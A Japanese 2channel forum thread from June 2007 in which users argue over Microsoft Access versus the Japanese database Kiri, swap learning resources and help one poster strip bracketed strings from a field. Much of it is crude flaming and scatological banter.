864 :NAME IS NULL:2007/06/10(日) 16:49:30 ID:vz5WVpj9
OpenOffice.orgのBase使ってみて、初めてAccessの有難さを痛感する
今日このごろ。。。


865 :NAME IS NULL:2007/06/10(日) 18:19:50 ID:???
>>863
調べてるとはいわない。他人依存症。

866 :NAME IS NULL:2007/06/10(日) 18:20:34 ID:???
>>864
あれは試作品以下だからなあ?


867 :183:2007/06/10(日) 19:19:35 ID:Mc/fTknv
桐のユーザです
桐ってテーブル1つでもファイル単位なのです
1レポートでも1ファイルです。そのため何百ファイル数になります
とろい要因でダサイと思っていました
でもこのスレを見てかえって合理的なのかな と思いました
アクセスでも結局、分割したりするのですね

それに、参照モードで開けば絶対壊れないし
(アクセスにも参照モードといったのがあるかは知りません)
100万レコードでも参照モードなら楽勝だし

アクセスに乗り換えようと思って色々情報を探しここにきました
結局アクセスもスタンドアロン系なのだと認識しました
MSに振り回されない分ましのように思えました

ユニコードにも対応しないし、最大サイズは512MBだし
dll使えないし しょぼい桐だと思っていたのですが
ちょっと認識が変わりました
事務処理にはアクセスよりよかったんじゃないかと思えました

スレ違いでしたらすいません

868 :NAME IS NULL:2007/06/10(日) 20:19:54 ID:???
>>867
100万レコードなら、参照モードだろうがなんだろうが512mbオーバーする可能性高いと思うんだが。
それとも、分割して断片的に取り込んだり出来るの?

869 :NAME IS NULL:2007/06/10(日) 20:21:18 ID:???
>>867
まぁ、ACCESSは論理集合単位(テーブル単位)で
ファイル分割出来るってだけで、
勝手にファイル分割されちゃう訳じゃない罠。

桐もACCESSも適材適所。
桐で出来るなら桐で行く方が
無理にACCESSに移行するより
幸せになれると思われ。


870 :NAME IS NULL:2007/06/10(日) 20:50:54 ID:???
>>867
俺ももと桐ユーザーだけど、確かに桐で済ませられるのなら桐でいいと思うよ。
個人で使うのなら桐最高ってのはわかる。
ただ、桐って閉じた世界なんだよなあ?桐のテクニックは桐でしか使えない。
AccessのようにSQLを覚える役には立たない。
桐の一括処理を学んでも他の言語の習得にはなんの役にも立たない。
参照モード、訂正モード、追加モードの考え方も慣れると非常に良いけど、
あまり一般的ではない。viがそれに近いくらい。
個人が使うツールとしては最高だけど、開発ツールとしては向いてない。
逆にAccessはツールとしては使いづらいけど、開発ツールとしてはそこそこいける。

桐の話もこういう生産的な話ならいいのだけどねえ。

871 :NAME IS NULL:2007/06/10(日) 20:52:13 ID:???
>>870
vi って何?

872 :NAME IS NULL:2007/06/10(日) 21:08:08 ID:???
カニの左半分

873 :NAME IS NULL:2007/06/10(日) 21:17:13 ID:???
>>871
かつてのUnixの標準エディッタ


874 :NAME IS NULL:2007/06/10(日) 22:52:19 ID:0Z08GKpw
貧乏人はAccessで頑張る
エグゼクティブは桐で開発、1/5の開発期間でできるから、空いた時間はホテルのプールでリフレッシュ

875 :NAME IS NULL:2007/06/10(日) 23:06:31 ID:???
>>874
こういうのがいるから、話が非生産的な方向に進む。
エグゼクティブが自分で開発するか?そんなもの人任せで気にするわけが無い。
桐には桐の限界があり、AccessにはAccessの限界がある。
一概にどっちがいいって話ではない。
そういうことはどっちも使いこなしてから言え。
桐しか使えないのなら正直にそう言え。


876 :NAME IS NULL:2007/06/10(日) 23:10:32 ID:0Z08GKpw
どっちも同じものが作れるけど、Accessは数倍時間がかかるのよ
外部との連携はAccessのが良いけど

877 :NAME IS NULL:2007/06/10(日) 23:17:24 ID:???
>>876
桐にもAccessにも同じくらいのレベルの奴が、同じ要求仕様にしたがって、
同じ外部インタフェース、同じ性能要求のアプリを開発して初めて分かることだ。

お前はそこまで検証してるのかよwww
あほかwwwww

878 :NAME IS NULL:2007/06/10(日) 23:18:56 ID:???
桐もAccessもどちらも低レベル。
どんぐりの背比べw

879 :NAME IS NULL:2007/06/10(日) 23:20:37 ID:???
自明だろ。
誰でも実感してるよ。

880 :NAME IS NULL:2007/06/10(日) 23:23:13 ID:???
>>876
桐にとって都合のいい案件ならそうだと思うよ。
何倍時間がかかろうと桐では作れそうも無い案件だってある。
だいたい、Runtimeのことはどうするんだよ?
桐で作れば桐を手に入れる必要があるけど、
Accessの場合ならRuntimeを配布すれば済む。
何倍時間かかろうとAccessを採用せざるを得ない場合が想定されるだろうが?


881 :NAME IS NULL:2007/06/10(日) 23:27:15 ID:???
>>878
低レベル言語の代表的言語はC言語。
それから考えるとAccessはかなり高レベル。
意味わかっている?



882 :NAME IS NULL:2007/06/10(日) 23:27:15 ID:???
数万円払って買えば良いよな

883 :NAME IS NULL:2007/06/10(日) 23:29:50 ID:???
>>882
そりゃあそうだが、フリーソフトにして誰でも使用できるようにしたい場合に桐での開発はそれでアウト。
実際俺はそれで桐は止めたんだ。


884 :NAME IS NULL:2007/06/10(日) 23:31:54 ID:???
>>881
誰がプログラム言語の話してるんだ?w

885 :NAME IS NULL:2007/06/10(日) 23:42:14 ID:???
>>884
レベルどうのこうのっていうからレベルの意味わかっているのか?
って聞いているんじゃ?

桐もAccessも元々会社の基幹業務をこなすような使い方を想定してない。
あくまでもちょこちょこと便利なシステムを作る程度。
それを低レベルとするならばそれでいいよ。


886 :NAME IS NULL:2007/06/10(日) 23:42:39 ID:???
まぁ、アクセスは簡易RDBMSという側面よりも、vbaという簡易フロントエンド開発言語としての側面の
ほうがインパクトが強いからなぁ。。。

887 :NAME IS NULL:2007/06/10(日) 23:44:14 ID:???
日本語で頼む

888 :NAME IS NULL:2007/06/10(日) 23:45:22 ID:???
要するに>>885は最低レベルの人間てことか?


889 :NAME IS NULL:2007/06/10(日) 23:47:52 ID:???
>>888
ありがとう。それは最高の誉め言葉だぜ(wwwwww
どうせ意味わからんだろうけど?


890 :NAME IS NULL:2007/06/10(日) 23:48:31 ID:???
>>880
桐にはアクティベーションがないど

891 :NAME IS NULL:2007/06/10(日) 23:55:29 ID:???
>>890
おい、少なくとも不正コピーを助長するような話を公共の場でしないでくれ。

892 :NAME IS NULL:2007/06/10(日) 23:59:44 ID:???
>>889
お前、プログラム言語としての低レベルという意味と、
おまえ自身が低レベルといわれてるの意味の違いわかってないんじゃね?
だからこそ低レベルといわれているわけだがw

893 :NAME IS NULL:2007/06/11(月) 00:15:31 ID:???
>>892
そこが面白いのだろう?冗談のわからんつまらんやつだ。
それにしても面白みも何にも無いつまらん煽りをいれて、なにが楽しいのだろうなあ?
相手にしている俺もだいぶ酔いが回ってきているのは自覚しているが・・・・・


894 :NAME IS NULL:2007/06/11(月) 10:03:57 ID:???
もう少し建設的な煽り合いを・・・

895 :NAME IS NULL:2007/06/11(月) 18:04:45 ID:???
とりあえず、「おれはデータベースをしってるんだ」
ということで、他の人より一段上にいる気分を味わいたいから
ここに集うんですよ
(ACCESSがデータベースであると言うことを知ってるという超初歩的な認識ね)

本気でデータベースを使おうという人間はこんなところでモタモタしてませんよ

だから建設的な事と言っても、むなしいよ

896 :NAME IS NULL:2007/06/11(月) 18:14:33 ID:???
>>895
> 本気でデータベースを使おうという人間はこんなところでモタモタしてませんよ

自爆してないか?


897 :NAME IS NULL:2007/06/11(月) 21:30:47 ID:???
自爆テロだな。

死亡者本人のみだけど。

898 :NAME IS NULL:2007/06/11(月) 21:33:02 ID:QQ/mBOIG
超図解ACCESS基本操作ハンドブックを読み終えました。
VBAを読み始めようと思うけど何か良い本ありますか?

899 :NAME IS NULL:2007/06/11(月) 21:45:50 ID:???
>>896
自爆と思っていただいて結構です


900 :NAME IS NULL:2007/06/11(月) 23:41:31 ID:???
>>898
MSDN

901 :NAME IS NULL:2007/06/12(火) 09:24:22 ID:???
うんこ製造機の馬鹿ども、早く死んでくれ

902 :NAME IS NULL:2007/06/12(火) 09:29:35 ID:???
よけいなこといわなくても自爆だと思っているから
でてくんなよ。

> 本気でデータベースを使おうという人間はこんなところでモタモタしてませんよ

↑なんだろw?

903 :NAME IS NULL:2007/06/12(火) 10:24:27 ID:???
>>898
http://www.mahoutsukaino.com/index.htm
入門用として良くないかな?


904 :NAME IS NULL:2007/06/12(火) 12:52:59 ID:???
>>902
嫌だなぁ 君もボクもここに集う同じ仲間じゃないか
傷を舐め合おうよ

905 :NAME IS NULL:2007/06/12(火) 13:07:20 ID:???
一人おかしなのがいるようだけど、もう相手するのも面倒。
あとはスルーしようや>ALL

そろそろ、次のスレタイ考えるか?
えーーーと、 【Access】あなたも今日からプログラマ?お手軽開発ツールアクセス


906 :NAME IS NULL:2007/06/12(火) 13:10:34 ID:???
後ろに、【きりにしとけ】って入れないと

907 :NAME IS NULL:2007/06/12(火) 13:15:34 ID:???
ここの住人はキチガイのうんこ製造機

908 :NAME IS NULL:2007/06/12(火) 13:23:38 ID:???
>>906
【桐との比較はきりがない】ではダメ?


909 :NAME IS NULL:2007/06/12(火) 13:50:49 ID:???
もう少し下品なやつを

910 :NAME IS NULL:2007/06/12(火) 14:23:31 ID:???
>>909
【Access】あなたも今日からプログラマ?お手軽開発ツールアクセス【桐はうんこ】
って感じか?あまり感心しないが・・・・・


911 :NAME IS NULL:2007/06/12(火) 16:32:31 ID:???
【究極のAccess】あなたも今日からプログラマ?お手軽開発ツールアクセス【至高の桐】

912 :NAME IS NULL:2007/06/12(火) 16:53:49 ID:???
【究極のAccess】貧乏人 VS エグゼクティブ【至高の桐】

913 :NAME IS NULL:2007/06/12(火) 17:37:13 ID:???
心の貧しい桐ユーザがいるらしいなあ?実売価格4万円でなにがエグゼクティブなんだか?
Accessが無くなったからといって桐のユーザーが増えるとも思えないし、
桐は桐でAccessとはまるで別物なんだから対決させる必要は無いだろう?


914 :NAME IS NULL:2007/06/12(火) 18:51:58 ID:???
何が何でも桐を持ち込もうとする奴らは帰れよ。見苦しい。

915 :898:2007/06/12(火) 20:39:09 ID:???
レスありがとうございます。
>>900 MSDN調べてみました。こういったサイトがあるんですね。
     なんかいろいろ難しそうですね。
     msdn magazineを買えばいいんですかね?

>>903 このサイトよさげですね。
     サイトの人が本も出してるし買ってみましょうかね。


916 :NAME IS NULL:2007/06/12(火) 20:56:45 ID:???
>>915
そうだ、魔法使いの開発工房のニキータさんは確か以前ここにも出没していたと思った。
http://www7.big.or.jp/~pinball/discus/access/index.html
良くも悪くもAccessはメジャーなのでこういう質問できるところも多いよ。
ただし、マルチは嫌われるので注意。


917 :898:2007/06/12(火) 22:46:06 ID:???
>>916
ありがとうございます。
亀レスすいません。
こんな掲示板もあるんですね。
さっそくブックマークしておきます。

918 :NAME IS NULL:2007/06/13(水) 00:21:41 ID:???
まじめに受け取るなよ
こんなすぐ壊れるDBなんか仕事で使える加代
勉強すんなら別なのにしろ
時間の無駄だ


919 :NAME IS NULL:2007/06/13(水) 03:22:58 ID:???
>>917
他にもいろいろあるよ。Accessの良いところはこういう情報がいたるところに転がっていることです。
たしかに慣れないうちは壊れて動かなくなったりということがありますが、その対策もあります。
Accessはいろいろな考え方を集めたものです。これを機会にさらにステップアップするのも良し、
Accessを極めるも良し。時間の無駄にはなりません。

920 :NAME IS NULL:2007/06/13(水) 08:33:50 ID:???
>>918
どうした?Accessごとき使いこなせずにいらだってるのか?w
文句ばっか言ってないで対案ぐらい示せよww

素人がいきなり10gでもいれろってか?
いきなり事務処理や住所録程度でMSDE入れるのか??
そんときゃインタフェースは独自に組むのか??

オススメはなによ?やっぱり桐なのか??www

921 :NAME IS NULL:2007/06/13(水) 09:44:43 ID:???
次スレ案
【Access】魔法使いも使っているデータベース型開発ツールアクセス

比較3原則
1.桐と比べるな
2.ファイルメーカーと比べるな
3.MySQL,PostgreSQL,オラクルなどと比較するな


922 :NAME IS NULL:2007/06/13(水) 10:39:24 ID:???
比較は自由だが、必要以上に貶めたり、持ち上げたりするのは
無い方向で・・・

923 :NAME IS NULL:2007/06/13(水) 12:54:14 ID:???
ちょと質問させて下さい、
[ランダムな文字列]ABCABC[ランダムな文字列]ABCABCのうち、
[ランダムな文字列]を削除する方法を教えて下さい。
Replace([フィールド名],"[*]","")
とかやってみたけど無理でした。

924 :NAME IS NULL:2007/06/13(水) 13:07:43 ID:???
次スレ案
【Access】魔法使いも使っているデータベース型開発ツールアクセス

比較3原則
1.Access使いたるもの
 他のデータベースと比較し必要以上に持ち上たり貶めたりする愚をおかすべからず。

2.Access使いたるもの
 比較し必要以上に持ち上たり貶めたりする他のデータベース使いを無視スルーする度量を持つべし。

3.Access使いたるもの
 1原則2原則に違反しない限りにおいては建設的に比較し議論することを厭わないことを旨とするべし。



925 :NAME IS NULL:2007/06/13(水) 13:08:35 ID:???
>>923
そういうのは桐でやれよ、簡単だぞ

926 :923:2007/06/13(水) 13:43:19 ID:???
>>925
今桐体験版試してみました。
Accessより軽いし使いやすそうなんですけど、
目的のCSVファイルをインポートのところで、レコード長が制限を超えて〜で、こけました;
>>923みたいのはAccessでは面倒なんですか?

927 :NAME IS NULL:2007/06/13(水) 13:45:26 ID:???
面倒つーか無理じゃね?

928 :NAME IS NULL:2007/06/13(水) 13:57:28 ID:???
>>923
この想定自体なんか不思議なんだけど・・・

> [ランダムな文字列]ABCABC[ランダムな文字列]ABCABCのうち、
> [ランダムな文字列]を削除する方法を教えて下さい。

つまりABCABCが複数あるだけのデータを作りたいのか?
ならABCABCが何回あるかを数えることができればそれでいいけど
本当にそれで良いのか?


929 :NAME IS NULL:2007/06/13(水) 14:07:17 ID:???
>>923
ランダムな文字列の中に「ABCABC」が出現することがないなら、
>>928のいうように「ABCABC」が何回出現するかカウントして、
その回数だけ「ABCABC」を連結すればよいわけだが。

930 :923:2007/06/13(水) 14:11:58 ID:???
>>927-929
ほんとすみません、例文最悪でした;
実際はこんな感じで
[ランダムな文字列]*****[ランダムな文字列]****
*の文字も文字数も決まっていません。
[]を含む[]に囲まれた、部分を削除したいのです。

931 :NAME IS NULL:2007/06/13(水) 14:29:43 ID:???
>>930
つまり [ と ] が重要なわけですね。
この [ と ] は[ランダムな文字列]のなかにも
 * のなかにも出てこないということでいいのですね?


932 :923:2007/06/13(水) 14:33:28 ID:???
>>930
はい出てきません。

933 :NAME IS NULL:2007/06/13(水) 14:51:54 ID:???
それならInStr関数を使って [ と ] の位置を調べれば出来ると思うけど。
複数回でてくるからループさせなければいけない。



934 :923:2007/06/13(水) 14:59:49 ID:???
>>933
なるほど、 複数回実行が面倒ならVBAで、
] が含まれる間、ループさせればいいですね。
参考になりました、>>923様、皆様ありがとうございました。

935 :NAME IS NULL:2007/06/13(水) 15:12:45 ID:???
>>934
おいおい>>923様って・・・・・

936 :923:2007/06/13(水) 15:26:23 ID:???
>>933様の間違いでした;失礼しました。

937 :NAME IS NULL:2007/06/13(水) 18:22:14 ID:???
アクセスはとぐろうんこだ、桐はまぐそだ に汁

938 :NAME IS NULL:2007/06/13(水) 18:24:05 ID:???
【汎用のAccess】アクセスは誰でも使えるデータベース!【孤高の桐】

939 :NAME IS NULL:2007/06/13(水) 18:56:24 ID:yNnVSN5S
>>919
同感。問題点はどのソフトにも有るが、最終的な決め手は情報量。わかりやすい参考書がいくらでも有る。
他のメーカーが新しいソフトを普及したいなら、良い参考書を沢山出版する事を真似よ。

940 :NAME IS NULL:2007/06/13(水) 19:25:07 ID:odzJCyte
パソコン販売
http://www.fujishoweb.jp/luckyworks_web/


941 :898:2007/06/13(水) 23:15:11 ID:???
>>919
なるほど。とりあえずAccessでググれってことですね。
やってみます。
ありがとうございます。

942 :NAME IS NULL:2007/06/14(木) 08:49:31 ID:???
>>939
あえて逆に言うと、そういう情報がないとAccessは使い難いソフトとも言える。
特に突然壊れて開けなくなったりするのが何回か続くとこりゃ使えないってことになる。
初心者はプログラムとデータを分けたりしないだろうから、これは辛い。


943 :NAME IS NULL:2007/06/14(木) 09:11:53 ID:???
まぁ、Accessほどバッドノウハウが溢れてるアプリもないだろうとは思うよ。


944 :183:2007/06/14(木) 09:38:53 ID:Tyo1aEty
ACCESSってスタンドアロンで使ってても
壊れたりするのですか?


945 :NAME IS NULL:2007/06/14(木) 09:58:04 ID:???
>>944
するよ。桐だって壊れる時は壊れるのだけど、Accessは1ファイルにまとまっているから被害が大きい。
まあ、そうならないためのノウハウはあるんだけどね。


946 :NAME IS NULL:2007/06/14(木) 21:27:26 ID:???
Accessの長所はなんと言っても帳票ですな
慣れのせいかも知れんけどこれ以上楽に帳票作れるツール
あったら教えてほしい

947 :NAME IS NULL:2007/06/14(木) 21:45:55 ID:???
>>946
桐の信者じゃないけど、これはやっぱり桐なんだよなあ?
なんたって日本で初めてパソコン用ワープロを作ったところだけあって
痒いところに手が届くようなところがある。
だから、入力と計算処理は他でやって結果をCSVで桐に渡して
印刷だけ桐でやろうかなと思ったりした。
まあ、それもちょっとなんだかなあということで止めたのだけど、
可能は可能。


948 :NAME IS NULL:2007/06/14(木) 21:55:09 ID:???
>>946
桐使ってみたことないの?

949 :NAME IS NULL:2007/06/14(木) 23:03:51 ID:???
>>948
そういう言い方が桐と桐ユーザーのイメージを悪くしているのだが、わざとやっているのか?
桐も使っている一ユーザとしては非常に不愉快なんだけど。


950 :948:2007/06/14(木) 23:05:43 ID:???
桐って何よ?
俺、使ったことないよ。

951 :NAME IS NULL:2007/06/14(木) 23:40:16 ID:???
桐について語るスレ?
http://pc11.2ch.net/test/read.cgi/db/1057318214/

専用スレあるんだからそっちでやってください。
営業熱心なのはいいけど、ほとんどの人は見たことも触ったこともなく買う気も全くないのですから。

952 :NAME IS NULL:2007/06/15(金) 00:36:13 ID:???
>>951
つうかこいつら本当に桐ユーザーなの?
桐のこともろくに知らないって気がするけど?
ただの基地我意じゃないのか?


953 :NAME IS NULL:2007/06/15(金) 01:04:05 ID:???
桐といえば箪笥

954 :183:2007/06/15(金) 08:32:33 ID:XZ6+f1cO
>>947
>だから、入力と計算処理は他でやって結果をCSVで桐に渡して
>印刷だけ桐でやろうかなと思ったりした
入力と計算処理は何で?アクセスで?
入力や計算処理でアクセス(その他?)が優れている点でどのあたりですか?

自分は桐からの移行を考えているので教えてください


955 :NAME IS NULL:2007/06/15(金) 08:40:45 ID:???
いやAccessが良いのは連携機能だけだし

956 :NAME IS NULL:2007/06/15(金) 09:09:54 ID:???
>>954
Accessの利点は汎用性。ドキュメント豊富、ネット上でのノウハウも豊富。ついでにバグも豊富w
ユーザも豊富だから、おまえがいきなり死んでも誰かが引き継げるぞw

桐だと使える奴探すのがまず難しい。普通の会社じゃまずいないなw

957 :NAME IS NULL:2007/06/15(金) 10:18:39 ID:yTGETl6L
> ユーザも豊富だから、おまえがいきなり死んでも誰かが引き継げるぞw
データベースとしては、最も重要な点だ。

958 :183:2007/06/15(金) 10:42:40 ID:XZ6+f1cO
>>956
自分がいなくても十分運用はされていけます
改造は厳しいでしょうけど
あなたがいないと運用もできないの?


959 :NAME IS NULL:2007/06/15(金) 10:57:56 ID:???
桐って超簡単だから、誰でも引き継げるよな

960 :NAME IS NULL:2007/06/15(金) 11:59:13 ID:???
>>958
>改造は厳しい

この時点で仕様変更ができないんだがw
通常運用の話じゃなくて、改修、メンテナンス、バージョンアップ、サーバ移行等々
どうするつもりなんだ。おまえ、システム系の人間じゃないだろ?

Accessなら、たいていの技術者なら大丈夫。桐ならあえて使える奴を探さなきゃならない。
潜在的に桐が使える奴は死ぬほどいるだろうが、実務経験者は極端に少ない。

961 :NAME IS NULL:2007/06/15(金) 13:15:36 ID:???
うんこが正しい

962 :NAME IS NULL:2007/06/15(金) 14:14:51 ID:???
底辺同士の戦いwwww

963 :NAME IS NULL:2007/06/15(金) 17:17:55 ID:???
ランタイムまだぁ

964 :947:2007/06/15(金) 17:45:44 ID:???
>>954
> 入力と計算処理は何で?アクセスで?
まあ、アクセスとは言ってないのだけどね。その時は別のものでやるつもりでした。

> 入力や計算処理でアクセス(その他?)が優れている点でどのあたりですか?
桐の入力も悪いわけじゃない。
上の行を簡単に複写できたりするのは便利だ。
ただ、やっぱり慣れないとちょっと抵抗がある人もいると思う。
アクセスはそんな便利な機能は標準では無い。
VBAを駆使すれば出来ないことではないけれど。
まあ、これは重大な問題とは思ってないのだけど・・・・・
計算処理は正直桐よりAccessのほうが良いかな?
AccessというよりSQLなんだけどね。
処理にもよるけどSQLだと何千件のデータをほんの短時間で処理できることがある。
桐のつもりでこれくらいは時間がかかるだろうと思って作っていると
良い意味で裏切られる。

> 自分は桐からの移行を考えているので教えてください
うーーーん、自分もその道を通ってきたのでダメとは言わないけど、
考え方が全然違うから苦労するよ。
とにかく桐のことはすっかり忘れて一からやるつもりでがんばってください。


965 :NAME IS NULL:2007/06/15(金) 18:03:25 ID:???
>>964
>AccessというよりSQLなんだけどね。

意味不明。Jetが早いとか言いたいのか?

966 :NAME IS NULL:2007/06/15(金) 19:55:05 ID:???
>>965
桐にはSQLという考え方がないから別のやり方を取るのだけど、
それよりはSQL(つまりクエリー)でやったほうが早いことが多いという意味。
それと桐はテーブルの中に計算式を持つのだけど、
これはExcelライクでちょっと使うのにはとても便利。
だけど、プログラムとデータが分離されないわけだから開発者としては困った仕様。
桐が良くないと言うより、目指す方向が違う。
Accessマンセーも桐マンセーも無知をさらけ出しているとしか俺には思えない。


967 :NAME IS NULL:2007/06/15(金) 22:42:50 ID:???
>桐にはSQLという考え方がないから

ちょ・・・

968 :NAME IS NULL:2007/06/15(金) 22:45:57 ID:???
何でもかんでも正規化する時代は終わりました
正規化が必要なのはメモリーやHDDが高価だった昔の話です
今は、運用のし易さ優先で設計してください

969 :NAME IS NULL:2007/06/16(土) 00:30:51 ID:???
>>967
あると言いたいのか?なら聞かせてもらいたいけど?


970 :183:2007/06/16(土) 00:50:58 ID:U7kN6fVl
>>967
結合表とか言うつもりじゃないよね?


>>964さん もうちょっと語って欲しいです
移行時に特に困った点とか

971 :964:2007/06/16(土) 01:02:30 ID:???
>>970
どこに困ったもなにもまるで初心者。
おなじところなんかあるかよって感じ。
とにかく初心に戻ってという感じかな?
いまでもそうなんだけど、なんで一つのファイルにまとめる必要があるのかわからない。
正直言ってこれだけは変えて欲しいなあ?
ひとつのオブジェクトはひとつのファイルのほうが俺は良いなあ?
Excelを意識したのかなあ?そんなところだけ真似てもなあ?


972 :NAME IS NULL:2007/06/16(土) 01:25:18 ID:???
>971
テーブルごとにばらけてたらデータベースを移行したときに参照先を変更するのが面倒じゃない?
インデックスやフォーム、コントロールとかまで単体のファイルに分かれてたりしたら頭髪的に
チャレンジすることになりそう。

973 :NAME IS NULL:2007/06/16(土) 07:05:02 ID:???
>>972
> >971
> テーブルごとにばらけてたらデータベースを移行したときに参照先を変更するのが面倒じゃない?
データベースを移行ってどういうときのことを言っているのか、いまいちわからない。
> インデックスやフォーム、コントロールとかまで単体のファイルに分かれてたりしたら頭髪的に
> チャレンジすることになりそう。
頭髪的にチャレンジってのもますます謎だ。

さっぱりわからないが、Access以外のデータベースは皆バラバラだが特に問題があるわけじゃない。
まとめたいならひとつのディレクトリに入れればいいだけだと思うけどなあ?


974 :NAME IS NULL:2007/06/16(土) 07:38:39 ID:???
>>973
> Access以外のデータベースは皆バラバラ

違う。
OracleもSQL Serverも
表領域とかデータファイルとかのレベルでは
「ひとつのオブジェクトはひとつのファイル」
ってことはない。

ACCESSだってリンク使えば、
オブジェクトごとにバラすことも可能だしな。
むしろ、今のご時世だからこそ、
小容量のファイルが大量に出来る方が管理が大変。

# 同一ディレクトリに大量にファイル作ると
# NTFSでもI/Oのパフォーマンスが落ちる。

975 :NAME IS NULL:2007/06/16(土) 09:12:33 ID:???
>>974
すまん。OracleとかSQL Serverとかは全然考えてなかった。
あくまでもAccessと同等と思われるものについてしか考えてなかった。
なるほどパフォーマンスが落ちることもあるのか?
それは認識不足でした。失礼しました。



976 :NAME IS NULL:2007/06/16(土) 09:20:27 ID:???
Accessは残高・累計計算も出来ない時点でウンコ

977 :NAME IS NULL:2007/06/16(土) 11:10:39 ID:???
うんこ うんこ うんこスレ

978 :NAME IS NULL:2007/06/16(土) 11:36:13 ID:Xek+4LmK
スカトロマニア キタ━━━━━━━━━(゚∀゚)━━━━━━━━━ !!!!!

979 :NAME IS NULL:2007/06/16(土) 11:42:45 ID:???
今日はあさからウンコ大量だなw

980 :NAME IS NULL:2007/06/16(土) 13:04:54 ID:???
SQLの概念が存在しないうんこDBと同列で比較されてる時点でうんこ

981 :NAME IS NULL:2007/06/16(土) 13:30:03 ID:Xek+4LmK
SQLなんか介さなくとも、ACCESSのクエリより、桐の絞込み並べ替えの方が速いよ

982 :NAME IS NULL:2007/06/16(土) 13:57:16 ID:???
>>976
http://support.microsoft.com/kb/290136/ja
できるけどなにか?


983 :NAME IS NULL:2007/06/16(土) 14:00:08 ID:Xek+4LmK
並べ替えフィールドに同一値があったら結果が保証されない
ウンコ

984 :NAME IS NULL:2007/06/16(土) 15:35:22 ID:???
>>983
桐でそんなこと保証しているのか?結果としてそうなっているだけだろう?
そんなこと当てにして開発したら仕様が変わった時に痛い目にあうぞ。
IDを並び替えに含めれば済むことだろうが。


985 :NAME IS NULL:2007/06/16(土) 16:10:27 ID:???
まあAccessでは逆立ちしても任意の順番じゃ無理だな
論理行番号ないしな

986 :NAME IS NULL:2007/06/16(土) 16:56:25 ID:???
受入と払出が別のテーブルに登録され、それをマージして
残高計算するのであれば、論理行番号があっても意味はない。


987 :NAME IS NULL:2007/06/16(土) 17:44:09 ID:???
自分のスキルの問題をあたかもアプリの制限のように装って
自分の無能を晒すスレはここですか?

988 :NAME IS NULL:2007/06/16(土) 18:03:42 ID:???
そういやソースネクストの1980円のLotus 1-2-3ってApproach付属してるね。
これってバラバラファイル管理だし一応SQLも使えるけど

989 :NAME IS NULL:2007/06/16(土) 18:06:29 ID:dbrJ6uN+
>>985
アクセスは任意の順番自体が想定外だよ。
画面見ながらレコード自由に入れ替えてなんて残高以前に不可能よ。

990 :NAME IS NULL:2007/06/16(土) 18:18:06 ID:???
>>989
画面整列用の番号を用意すれば可能だと思うけどな?
どうしてもそんなことをしなければいけない必要も無かったのでやってないけど、
ある程度のスキルがあればなんとでもなるだろう?
いい加減やめてくれないかな?桐ユーザーはみんな馬鹿だと思われる。


991 :NAME IS NULL:2007/06/16(土) 18:24:38 ID:???
ふつうにExcel使えよw

992 :NAME IS NULL:2007/06/16(土) 18:49:39 ID:???
「ウ○コ」と「う○こ」をNGワード指定したら、快適になった。w

993 :NAME IS NULL:2007/06/16(土) 19:30:44 ID:???
スキルが低くても、何となくシステムが作れると勘違いさせてしまう
それが Access

994 :NAME IS NULL:2007/06/16(土) 19:33:11 ID:???
アクセスと聞くといつもこいつを連想してしまう。
http://www.kao.co.jp/success/products/products01.html


995 :NAME IS NULL:2007/06/16(土) 19:36:04 ID:???
>>992
                三●
   人           三●                        
  (__)     三●●●●●●● 三●●●      三●●●●●●
 (__)     三●       三●         三●       三●
∩ ・∀・)∩  三●       三●         三●       三●三●●●●
〉    _ノ 彡         三●        三●        三●
ノ ノ  ノ          三●         三●         三●
し´(_)        三●      三●●●    三●●●●●       ☆゚+.

996 :992:2007/06/16(土) 19:41:19 ID:???
それはかわいいから許すw

997 :NAME IS NULL:2007/06/16(土) 21:33:21 ID:???
スカトロマニア キタ━━━━━━━━━(゚∀゚)━━━━━━━━━ !!!!!

998 :NAME IS NULL:2007/06/16(土) 21:51:20 ID:???
ウソコ

999 :NAME IS NULL:2007/06/16(土) 21:54:32 ID:???
次スレ

【Access】アクセスは最凶のデータベース破損2度目
http://pc11.2ch.net/test/read.cgi/db/1181998391/

1000 :NAME IS NULL:2007/06/16(土) 21:57:44 ID:xDjkImyS
1000

1001 :1001:Over 1000 Thread
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。

277 KB
★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.04.00 2017/10/04 Walang Kapalit ★
FOX ★ DSO(Dynamic Shared Object)